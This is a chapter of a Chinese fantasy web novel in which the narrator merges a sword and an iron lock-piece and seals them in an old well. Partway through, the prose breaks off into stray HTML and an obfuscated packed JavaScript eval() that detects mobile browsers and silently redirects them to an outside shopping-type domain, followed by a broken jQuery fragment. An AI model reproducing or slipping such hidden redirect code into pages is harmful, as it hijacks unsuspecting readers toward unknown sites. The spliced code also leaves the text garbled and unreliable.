那之后的日子，过得像茶汤一样清且长。
我几乎要以为，危险已经彻底过去了。直到中秋节前一天，沈念在整理老宅书架时，发现了一卷被油纸封住的竹简。
她递给我时，脸上带着困惑：“我前两天帮你搬旧书柜时，在最底层夹层里摸到的。油纸上写了一行字：‘瓷锁归土，剑守归墟。若见归去，勿追勿启。’”
我拆开油纸，展开竹简。上面用朱砂写着一篇短文，落款是爷爷的名字——陈归炉。
我看着这个名字，心里猛地一颤。爷爷的本名，他几乎从没用过。家里人都只知道他叫陈老耒，是后来改的。他说“耒”是农具，做农人安分，掩了本名“归炉”，是不想人记得他是守炉人的后代。
竹简上写：
“吾陈家先祖，本为黄帝守炉人，姓陈名赤。赤受帝命守炉，帝上升时托以玄铁锁扣，嘱归墟之眼若动，以锁扣镇其枢。后赤跃入归墟，以身补锁，留玄铁于轩辕峰暗格。千年流转，锁扣与归去剑分离，各镇一脉。吾孙冬至若能得锁扣并归去剑，须合而为一处，埋于无字之地，万勿启视。”
我握着竹简，手有些发抖。
原来那块玄铁，不只是锁扣。它和归去剑本是一体——剑是“钥匙”，铁是“锁芯”，合在一起才能彻底锁死归墟之眼。我埋那铁时，剑还在墙上挂着呢。它们分开了。
“我要去把它挖出来。”我把竹简卷好，起身。
“现在？”沈念看了看窗外，“天都快黑了。”
“等不了。”我说，“周怀远既然知道轩辕峰下有暗格，就迟早会想到锁扣被人取走了。他如果查到是我拿的，未必不会再来找我。趁他还不知道锁扣已经被取走，我得先把东西合上。”
沈念没再劝，她默默拿起手电筒，跟在我身后。
今夜月色清明，后山寂静无声。
我走到那道老柏树下的位置，用铁锹挖开土，油布包裹的玄铁还好好躺在原处。我把它捞起来，又回老宅取下墙上那截归去剑。
两件东西摆在一起时，我手心忽然感到一阵微弱的吸力。玄铁和剑柄相触的瞬间，剑身的黯淡铁色退去，浮现出一层极淡的金光，转瞬即逝。随即，整柄剑变成了一块长约一尺的铁令，通体漆黑，上面隐隐浮出一个“锁”字，像是烙上去的。
“合上了。”沈念轻声道。
我握着那块铁令，掂了掂，又翻看一下。它既是剑，又是锁，现在二者合一，成了一枚朴素的铁牌。按照竹简所说，该找一个“无字之地”埋下去，让它万世沉眠。
“无字之地，你想到是哪了么？”沈念问。
我指尖摩挲铁牌上的“锁”字，想了很久。我抬头，目光落在院子角落那个废弃多年的水井上——老家人都说那个井“不干净”，从来没打上来过水，后来被封了。但爷爷活着的时候，每年大年三十都会往井盖上浇一盅酒，嘴里念着什么，从没让我们听清过。
我心里忽然亮了一下。
“你等我一下。”
我跑回老宅，找到那口井，井盖是爷爷用整块青石凿成的，中央有一个浅浅的凹洞，恰好是一枚铁牌的大小。
我把铁牌放进凹洞里，严丝合缝。
以前怎么就没注意到呢。这井盖上的凹洞，根本就是给天下掉下来的锁扣留的位子。原来爷爷早就准备了“无字之地”——荒井无字，井盖即封。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916074|213320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
铁牌放入凹洞，一阵轻微的“咔”声后，整块青石井盖上浮现出几道极细的纹路，像水波，像云气，转瞬又隐去。我捡起枯柴把凹洞填平，又扔了几片落叶上去。从今往后，井还是那口废井，枯井还是枯井，那枚铁牌将同它封死在一起，再也没有人能取出来。
我直起身，在月色里站了好一会儿。心底一块沉了整个春夏的大石，终于落定。
春茶又开了。
我坐在院里的桂花树下喝早茶，沈念批改完作业，端着一碟酥饼过来，在对面坐下。那只橘猫也醒了，跳上石凳，卧在我脚边，响亮的呼噜声和风声混在一起，像一首安恬的旧曲。
背后老宅的墙上，那两把剑已经收进了柜子深处。龙佩也被我用红绳系好，收进了抽屉。只有墙上的那片空白，证明这一切有过痕迹。井盖上的枯枝落叶换了一茬又一茬，但没人会去掀开它。
后来某天傍晚，周怀远的车再次出现在村口。但他没有进村，只在村外的老槐树下站了很久，抽完一支烟，转身回到车里，开走了。
再后来，我在第二年的春天收到了一封没有落款的信，信里只有一句话：
“归去，归去，炉火已熄。愿人间清净，不复问天门。”
字迹是文秀的。
我烧了那封信，把灰烬洒在桂花树下。风一吹，连最后一点痕迹都散了。
陈冬至的故事到这里，就真的结束了。
那个春季的茶，泡出罕见的绵长回甘。我低头看着杯中清清楚楚的叶片舒展，觉得心里终于踏实下来。
钥匙在井里，锁扣在土里，记忆在骨子里。
人间烟火还在升，而往事，已经归去了。